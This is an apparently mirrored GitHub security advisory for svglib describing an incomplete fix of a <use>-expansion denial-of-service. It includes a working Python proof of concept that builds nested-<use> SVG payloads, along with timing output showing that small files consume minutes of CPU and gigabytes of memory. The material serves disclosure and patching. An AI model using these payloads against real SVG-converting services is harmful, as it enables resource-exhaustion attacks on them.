GHSA-XPFM-FW4H-QXWV
`<use>` expansion limit counts expansions but not their size, so a 6 KB SVG still takes minutes and GBs to render (incomplete fix of GHSA-555j-qj3j-c8jv)
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-XPFM-FW4H-QXWV divulgada · CVSS 7.5 (GitHub) | |
| Remediación | Parche 2.3.3 | svglib · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The 2.3.1 fix for GHSA-555j-qj3j-c8jv stops `renderUse()` after `MAX_USE_EXPANSIONS` (10,000) expansions. But each expansion deep-copies and renders the whole referenced subtree, so the total work is 10,000 × (subtree size), and the subtree size is unbounded. Nested `<use>` groups whose leaf group holds N rects make about 9,000 of the allowed expansions clone that leaf. In svglib 2.3.2, a 2,254-byte SVG takes 68 s, and a 6,454-byte one (200 rects) takes 247 s and 2.6 GB RSS. The cost grows linearly with N. Only the SVG needs to be attacker-controlled, as in GHSA-555j. `main` (6e798117) behaves the same (50 rects: 62 s / 727 MB).
Details
- Limit: svglib.py#L212
https://github.com/deeplook/svglib/blob/v2.3.2/src/svglib/svglib.py#L212`MAX_USE_EXPANSIONS = 10_000`, checked once per `<use>` at #L2020-L2027https://github.com/deeplook/svglib/blob/v2.3.2/src/svglib/svglib.py#L2020-L2027. - Each permitted expansion clones and renders the full target (#L2058-L2062
https://github.com/deeplook/svglib/blob/v2.3.2/src/svglib/svglib.py#L2058-L2062): - Payload: `g0` = N `<rect/>`; `g1`..`g4` = ten `<use href="#g(i-1)"/>` each; root `<use href="#g4"/>`. This is the GHSA-555j shape with one level fewer and a bigger leaf. The expansion count stays under the limit while the cloned element count reaches roughly 9,000 × N.
- Suggested fix (tested): add a document-wide budget on cloned elements, shared with external SVGs the same way as the expansion counter. Each expansion is charged the element count of the subtree it clones:
Proof of concept
Everything runs locally and in memory (Python 3.12, Linux):
- `mkdir svglib-poc && cd svglib-poc`
- `python3 -m venv venv`
- `venv/bin/pip install svglib==2.3.2`
- Save the script below as `poc.py`
- `venv/bin/python poc.py` (about 4 minutes; pass leaf sizes as arguments, e.g. `poc.py 200`)
"""svglib: MAX_USE_EXPANSIONS (GHSA-555j-qj3j-c8jv fix) bounds the number of <use>
expansions, not the size of each one. A 6 KB SVG still takes minutes and GBs."""
import io, logging, resource, sys, time
logging.disable(logging.CRITICAL) # silence the "Too many <use> expansions" log line
import svglib
from svglib.svglib import svg2rlg, MAX_USE_EXPANSIONS
def svg(levels, fan, leaf):
g0 = '<g id="g0">' + '<rect width="1" height="1"/>' * leaf + '</g>'
defs = [g0] + [f'<g id="g{i}">' + f'<use href="#g{i-1}"/>' * fan + '</g>' for i in range(1, levels + 1)]
return ('<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10">'
f'<defs>{"".join(defs)}</defs><use href="#g{levels}"/></svg>').encode()
print(f"python {sys.version.split()[0]}, svglib {svglib.__version__}, MAX_USE_EXPANSIONS={MAX_USE_EXPANSIONS}")
cases = [("control: GHSA-555j payload (1-rect leaf, 5 levels)", 5, 10, 1)]
cases += [(f"variant: {leaf}-rect leaf, 4 levels", 4, 10, leaf) for leaf in (int(a) for a in sys.argv[1:] or [25, 50, 100])]
for label, levels, fan, leaf in cases:
doc = svg(levels, fan, leaf)
t = time.perf_counter()
svg2rlg(io.BytesIO(doc))
rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024
print(f"{label:52} {len(doc):6d} bytes {time.perf_counter() - t:7.2f} s peak RSS {rss} MB", flush=True)Output (svglib 2.3.2, Python 3.12.3, Linux x86_64):
python 3.12.3, svglib 2.3.2, MAX_USE_EXPANSIONS=10000
control: GHSA-555j payload (1-rect leaf, 5 levels) 1067 bytes 1.83 s peak RSS 71 MB
variant: 25-rect leaf, 4 levels 1554 bytes 33.12 s peak RSS 379 MB
variant: 50-rect leaf, 4 levels 2254 bytes 68.40 s peak RSS 699 MB
variant: 100-rect leaf, 4 levels 3654 bytes 133.06 s peak RSS 1341 MBThe control is the GHSA-555j payload, which is now bounded (1.8 s). The variants stay under the same 10,000-expansion limit, but time and memory grow with the leaf size: about 1.3 s and 13 MB per rect. A 200-rect leaf (6,454 bytes) took 247 s and 2.6 GB RSS in a separate run.
Impact
CPU and memory exhaustion (CWE-400) in any service that converts untrusted SVG with `svg2rlg()`: thumbnails, SVG to PDF, reportlab reports, and xhtml2pdf (`<img src="...svg">`, including `data:` URIs). Default options, no external files. Confidentiality and integrity are not affected.
I'd like a CVE to be requested for this issue, with credit to Adrian Korwel.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypisvglib |
Corregida | 2.3.3 | 0 d | 2.4.0 no afectada |
2.3.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/deeplook/svglib/security/advisories/GHSA-xpfm-fw4h-qxwvLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
